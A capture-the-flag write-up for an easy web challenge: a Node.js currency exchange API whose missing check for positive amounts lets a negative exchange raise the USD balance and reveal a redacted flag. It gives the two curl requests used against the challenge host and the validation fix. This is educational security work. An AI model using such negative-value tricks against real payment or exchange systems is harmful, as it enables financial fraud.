Обменник «У Апишечки»
Обменник «У Апишечки»
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: business_logic_bypass, insufficient_input_validation, negative_value_injection
Summary
Task: Node.js/Express currency exchange REST API where flag is revealed when USD balance exceeds 1000. Solution: Negative amount injection bypasses insufficient funds check and increases balance via subtraction of a negative number.
Обменник «У Апишечки» — Bug Makers CTF
Description
В нашем подпольном обменнике валют «У Апишечки» самый выгодный курс обмена RUB/USD. Вот только интерфейс не самый удобный для пользователя – по REST api.
English summary: An underground currency exchange service with a REST API. The application lets users exchange USD↔RUB. The goal is to increase the USD balance above 1000 to obtain the flag.
Analysis
The challenge provides a Node.js/Express application (index.js + package.json) with three endpoints:
| Endpoint | Method | Purpose |
|---|---|---|
/exchange | POST | Exchange USD↔RUB with rate 81.31 |
/balance | GET | Check balance; returns flag if USD > 1000 |
/reset | POST | Reset balance to 1000 USD, 0 RUB |
Initial session balance: 1000 USD, 0 RUB. The flag is returned when req.session.balance.USD > 1000 (strictly greater than).
The exchange rate is fixed at USD_TO_RUB = 81.31. A simple round-trip exchange (USD→RUB→USD) would lose nothing or gain nothing meaningful due to the same rate being used in both directions — but the real vulnerability is elsewhere.
The Vulnerability: Missing Negative Amount Validation
The /exchange endpoint has a critical flaw — it never validates that amount > 0:
javascript read-only • copy allowed// Line 87: Insufficient funds check — passes for negative amounts! // 1000 < -1 evaluates to false, so the check is bypassed if (req.session.balance[fromCurrency] < amount) { return res.status(400).json({ error: 'Insufficient funds' }); } // Lines 94-95: Balance update with negative amount req.session.balance[fromCurrency] -= parseFloat(amount); // 1000 -= (-1) = 1001 req.session.balance[toCurrency] += convertedAmount; // 0 += (-81.31) = -81.31
When amount = -1:
- Insufficient funds check:
1000 < -1→false→ check passes - Source currency:
1000 - (-1) = 1001→ USD increases - Target currency:
0 + (-1 × 81.31) = -81.31→ RUB goes negative (irrelevant)
The USD balance becomes 1001, which is > 1000, triggering the flag reveal on /balance.
Solution
The exploit requires just two HTTP requests with cookie persistence for session tracking:
bash read-only • copy allowed# Step 1: Exchange with negative amount to increase USD balance curl -c cookies.txt -b cookies.txt -X POST https://exchange-api.t1.bug-makers.ru/exchange \ -H "Content-Type: application/json" \ -d '{"amount": -1, "fromCurrency": "USD", "toCurrency": "RUB"}' # Response: {"message":"Exchange successful","convertedAmount":-81.31,"newBalance":{"USD":1001,"RUB":-81.31}} # Step 2: Retrieve the flag curl -b cookies.txt https://exchange-api.t1.bug-makers.ru/balance # Response: {"FLAG":"BugCTF{REDACTED}"}
The fix would be to add amount <= 0 validation:
javascript read-only • copy allowedif (!amount || amount <= 0 || !fromCurrency || !toCurrency) { return res.status(400).json({ error: 'Invalid amount' }); }